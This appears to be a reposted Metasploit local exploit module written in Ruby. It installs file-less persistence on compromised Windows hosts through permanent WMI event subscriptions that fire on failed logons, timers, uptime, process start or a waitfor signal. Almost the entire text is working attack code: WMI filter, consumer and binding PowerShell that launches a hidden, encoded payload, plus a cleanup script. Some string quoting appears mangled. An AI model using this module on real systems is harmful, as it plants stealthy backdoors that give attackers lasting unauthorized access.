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WMI Event Subscription Persistence

Posted on 11 July 2017

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/exploit/powershell'
require 'msf/core/post/windows/powershell'
require 'msf/core/post/file'

class MetasploitModule < Msf::Exploit::Local

include Msf::Post::Windows::Powershell
include Msf::Exploit::Powershell
include Post::Windows::Priv
include Msf::Post::File

def initialize(info = {})
super(update_info(info,
'Name' => 'WMI Event Subscription Persistence',
'Description' => %q{
This module will create a permanent WMI event subscription to achieve file-less persistence using one
of five methods. The EVENT method will create an event filter that will query the event log for an EVENT_ID_TRIGGER
(default: failed logon request id 4625) that also contains a specified USERNAME_TRIGGER (note: failed logon auditing
must be enabled on the target for this method to work, this can be enabled using "auditpol.exe /set /subcategory:Logon
/failure:Enable"). When these criteria are met a command line event consumer will trigger an encoded powershell payload.
The INTERVAL method will create an event filter that triggers the payload after the specified CALLBACK_INTERVAL. The LOGON
method will create an event filter that will trigger the payload after the system has an uptime of 4 minutes. The PROCESS
method will create an event filter that triggers the payload when the specified process is started. The WAITFOR method
creates an event filter that utilises the microsoft binary waitfor.exe to wait for a signal specified by WAITFOR_TRIGGER
before executing the payload. The signal can be sent from a windows host on a LAN utilising the waitfor.exe command
(note: requires target to have port 445 open). Additionally a custom command can be specified to run once the trigger is
activated using the advanced option CUSTOM_PS_COMMAND. This module requires administrator level privileges as well as a
high integrity process. It is also recommended not to use stageless payloads due to powershell script length limitations.
},
'Author' => ['Nick Tyrer <@NickTyrer>'],
'License' => MSF_LICENSE,
'Privileged' => true,
'Platform' => 'win',
'SessionTypes' => ['meterpreter'],
'Targets' => [['Windows', {}]],
'DisclosureDate' => 'Jun 6 2017',
'DefaultTarget' => 0,
'DefaultOptions' =>
{
'DisablePayloadHandler' => 'true'
},
'References' => [
['URL', 'https://www.blackhat.com/docs/us-15/materials/us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-To-Build-A-Persistent%20Asynchronous-And-Fileless-Backdoor-wp.pdf'],
['URL', 'https://learn-powershell.net/2013/08/14/powershell-and-events-permanent-wmi-event-subscriptions/']
]
))

register_options([
OptEnum.new('PERSISTENCE_METHOD',
[true, 'Method to trigger the payload.', 'EVENT', ['EVENT','INTERVAL','LOGON','PROCESS', 'WAITFOR']]),
OptInt.new('EVENT_ID_TRIGGER',
[true, 'Event ID to trigger the payload. (Default: 4625)', 4625]),
OptString.new('USERNAME_TRIGGER',
[true, 'The username to trigger the payload. (Default: BOB)', 'BOB' ]),
OptString.new('PROCESS_TRIGGER',
[true, 'The process name to trigger the payload. (Default: CALC.EXE)', 'CALC.EXE' ]),
OptString.new('WAITFOR_TRIGGER',
[true, 'The word to trigger the payload. (Default: CALL)', 'CALL' ]),
OptInt.new('CALLBACK_INTERVAL',
[true, 'Time between callbacks (In milliseconds). (Default: 1800000).', 1800000 ]),
OptString.new('CLASSNAME',
[true, 'WMI event class name. (Default: UPDATER)', 'UPDATER' ])
])

register_advanced_options(
[
OptString.new('CUSTOM_PS_COMMAND',
[false, 'Custom powershell command to run once the trigger is activated. (Note: some commands will need to be encolsed in quotes)', false, ]),
])
end

def exploit
unless have_powershell?
print_error("This module requires powershell to run")
return
end

unless is_admin?
print_error("This module requires admin privs to run")
return
end

unless is_high_integrity?
print_error("This module requires UAC to be bypassed first")
return
end

if is_system?
print_error("This module cannot run as System")
return
end

host = session.session_host
print_status('Installing Persistence...')

case datastore['PERSISTENCE_METHOD']
when 'LOGON'
psh_exec(subscription_logon)
print_good "Persistence installed!"
remove_persistence
when 'INTERVAL'
psh_exec(subscription_interval)
print_good "Persistence installed!"
remove_persistence
when 'EVENT'
psh_exec(subscription_event)
print_good "Persistence installed! Call a shell using "smbclient \\\\#{host}\\C$ -U "+datastore['USERNAME_TRIGGER']+" <arbitrary password>""
remove_persistence
when 'PROCESS'
psh_exec(subscription_process)
print_good "Persistence installed!"
remove_persistence
when 'WAITFOR'
psh_exec(subscription_waitfor)
print_good "Persistence installed! Call a shell using "waitfor.exe /S #{host} /SI "+datastore['WAITFOR_TRIGGER']+"""
remove_persistence
end
end

def build_payload
if datastore['CUSTOM_PS_COMMAND']
script_in = datastore['CUSTOM_PS_COMMAND']
compressed_script = compress_script(script_in, eof = nil)
encoded_script = encode_script(compressed_script, eof = nil)
generate_psh_command_line(noprofile: true, windowstyle: 'hidden', encodedcommand: encoded_script)
else
cmd_psh_payload(payload.encoded, payload_instance.arch.first, encode_final_payload: true, remove_comspec: true)
end
end

def subscription_logon
command = build_payload
class_name = datastore['CLASSNAME']
<<-HEREDOC
$filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = "#{class_name}"; Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"; QueryLanguage = 'WQL'}
$consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = "#{class_name}"; CommandLineTemplate = "#{command}"}
$FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer}
HEREDOC
end

def subscription_interval
command = build_payload
class_name = datastore['CLASSNAME']
callback_interval = datastore['CALLBACK_INTERVAL']
<<-HEREDOC
$timer = Set-WmiInstance -Namespace root/cimv2 -Class __IntervalTimerInstruction -Arguments @{ IntervalBetweenEvents = ([UInt32] #{callback_interval}); SkipIfPassed = $false; TimerID = "Trigger"}
$filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = "#{class_name}"; Query = "Select * FROM __TimerEvent WHERE TimerID = 'trigger'"; QueryLanguage = 'WQL'}
$consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = "#{class_name}"; CommandLineTemplate = "#{command}"}
$FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer}
HEREDOC
end

def subscription_event
command = build_payload
event_id = datastore['EVENT_ID_TRIGGER']
username = datastore['USERNAME_TRIGGER']
class_name = datastore['CLASSNAME']
<<-HEREDOC
$filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = "#{class_name}"; Query = "SELECT * FROM __InstanceCreationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_NTLogEvent' AND Targetinstance.EventCode = '#{event_id}' And Targetinstance.Message Like '%#{username}%'"; QueryLanguage = 'WQL'}
$consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = "#{class_name}"; CommandLineTemplate = "#{command}"}
$FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer}
HEREDOC
end

def subscription_process
command = build_payload
class_name = datastore['CLASSNAME']
process_name = datastore['PROCESS_TRIGGER']
<<-HEREDOC
$filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = "#{class_name}"; Query = "SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName= '#{process_name}'"; QueryLanguage = 'WQL'}
$consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = "#{class_name}"; CommandLineTemplate = "#{command}"}
$FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer}
HEREDOC
end

def subscription_waitfor
command = build_payload
word = datastore['WAITFOR_TRIGGER']
class_name = datastore['CLASSNAME']
<<-HEREDOC
$filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = "#{class_name}"; Query = "SELECT * FROM __InstanceDeletionEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND Targetinstance.Name = 'waitfor.exe'"; QueryLanguage = 'WQL'}
$consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = "#{class_name}"; CommandLineTemplate = "cmd.exe /C waitfor.exe #{word} && #{command} && taskkill /F /IM cmd.exe"}
$FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer}
$filter1 = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = "Telemetrics"; Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"; QueryLanguage = 'WQL'}
$consumer1 = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = "Telemetrics"; CommandLineTemplate = "waitfor.exe #{word}"}
$FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter1; Consumer = $Consumer1}
Start-Process -FilePath waitfor.exe #{word} -NoNewWindow
HEREDOC
end

def log_file
host = session.session_host
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
logs = ::File.join(Msf::Config.log_directory, 'wmi_persistence',
Rex::FileUtils.clean_path(host + filenameinfo))
::FileUtils.mkdir_p(logs)
logfile = ::File.join(logs, Rex::FileUtils.clean_path(host + filenameinfo) + '.rc')
end

def remove_persistence
name_class = datastore['CLASSNAME']
clean_rc = log_file
if datastore['PERSISTENCE_METHOD'] == "WAITFOR"
clean_up_rc = ""
clean_up_rc << "execute -H -f wmic -a "/NAMESPACE:\"\\\\root\\subscription\" PATH __EventFilter WHERE Name=\"Telemetrics\" DELETE"
"
clean_up_rc << "execute -H -f wmic -a "/NAMESPACE:\"\\\\root\\subscription\" PATH CommandLineEventConsumer WHERE Name=\"Telemetrics\" DELETE"
"
clean_up_rc << "execute -H -f wmic -a "/NAMESPACE:\"\\\\root\\subscription\" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\"Telemetrics\"' DELETE"
"
clean_up_rc << "execute -H -f wmic -a "/NAMESPACE:\"\\\\root\\subscription\" PATH __EventFilter WHERE Name=\"#{name_class}\" DELETE"
"
clean_up_rc << "execute -H -f wmic -a "/NAMESPACE:\"\\\\root\\subscription\" PATH CommandLineEventConsumer WHERE Name=\"#{name_class}\" DELETE"
"
clean_up_rc << "execute -H -f wmic -a "/NAMESPACE:\"\\\\root\\subscription\" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\"#{name_class}\"' DELETE""
else
clean_up_rc = ""
clean_up_rc << "execute -H -f wmic -a "/NAMESPACE:\"\\\\root\\subscription\" PATH __EventFilter WHERE Name=\"#{name_class}\" DELETE"
"
clean_up_rc << "execute -H -f wmic -a "/NAMESPACE:\"\\\\root\\subscription\" PATH CommandLineEventConsumer WHERE Name=\"#{name_class}\" DELETE"
"
clean_up_rc << "execute -H -f wmic -a "/NAMESPACE:\"\\\\root\\subscription\" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\"#{name_class}\"' DELETE""
end
file_local_write(clean_rc, clean_up_rc)
print_status("Clean up Meterpreter RC file: #{clean_rc}")
end
end

 

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